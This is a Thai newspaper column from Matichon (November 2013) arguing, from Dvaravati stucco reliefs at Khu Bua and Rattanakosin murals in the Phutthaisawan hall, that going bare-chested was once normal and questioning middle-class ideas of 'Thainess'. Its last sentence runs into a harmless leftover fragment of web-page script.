มติชนรายวัน ฉบับประจำวันจันทร์ที่ 25 พฤศจิกายน 2556

 

สร้างสรรค์ความเป็นไทย

          คนสมัยก่อนมีผ้านุ่ง แต่ไม่มีเสื้อ ทั้งหญิงและชาย

          ดังนั้น หญิงและชายในชีวิตประจำวันจึงเปลือยอกเป็นปกติธรรมดาทั้งมูลนายและไพร่ ทั้งในรั้ววังและในหมู่บ้าน ไม่ถือเป็นโป๊หรือเปลือยอย่างปัจจุบันเข้าใจ

ปูนปั้นประดับฐานสถูปยุคทวารวดี ราวหลัง พ.ศ. 1000 ที่เมืองคูบัว อ. เมือง จ. ราชบุรี

          ปูนปั้นยุคทวารวดี ราวหลัง พ.ศ. 1000 พบที่เมืองคูบัว อ. เมือง จ. ราชบุรี รูปนักร้อง นักดนตรี เป็นหญิง 5 คน นั่งเปลือยอก ร้องขับและบรรเลงเพลงดนตรี เป็นวิถีปกติของยุคนั้น

          ที่ต้องย้ำเป็นพิเศษ คือ ปูนปั้นชุดนี้ไม่ได้หลบซ่อนอยู่ในซอกหลืบต้องเสาะหาให้ลำบาก แต่ประดับฐานสถูปเจดีย์ซึ่งเป็นพุทธสถานสำคัญ และใหญ่โตที่สุดของเมืองคูบัว

จิตรกรรมฝาผนังใน พระที่นั่งพุทไธสวรรย์ วังหน้า พิพิธภัณฑสถานแห่งชาติ พระนคร

          ประเพณีอย่างนี้ทำสืบเนื่องต่อมาจนถึง“ความเป็นไทย”ยุคกรุงรัตนโกสินทร์ ดังมีจิตรกรรมฝาผนังในพระที่นั่งพุทไธสวรรย์ วังหน้า (ปัจจุบันอยู่ในบริเวณพิพิธภัณฑสถานแห่งชาติ พระนคร) เป็นรูปหญิงเปลือยอก นักร้อง นักดนตรี บรรเลงมโหรี

          ถ้าจะมีใครสักคนคิดสร้างสรรค์“ความเป็นไทย”อย่างนี้เป็นมิวสิควิดีโอเอาขึ้นยูทูบทำตลาด คงถูกกล่าวหาต่างๆ นานา ทั้งๆทำเลียนแบบของเก่าที่มีหลักฐานชัดเจน

          “ความเป็นไทย” ไม่เพียงต้องทำตามหลักฐาน แต่ต้องทำตามความพึงพอใจของคนชั้นกลางประเภทขุนนางใหม่ด้วย ที่ส่วนมากเชื้อสายแต้จิ๋ว แต่คลั่งความเป็นไทยd.getElementsByTagName(‘head’)[0].appendChild(s);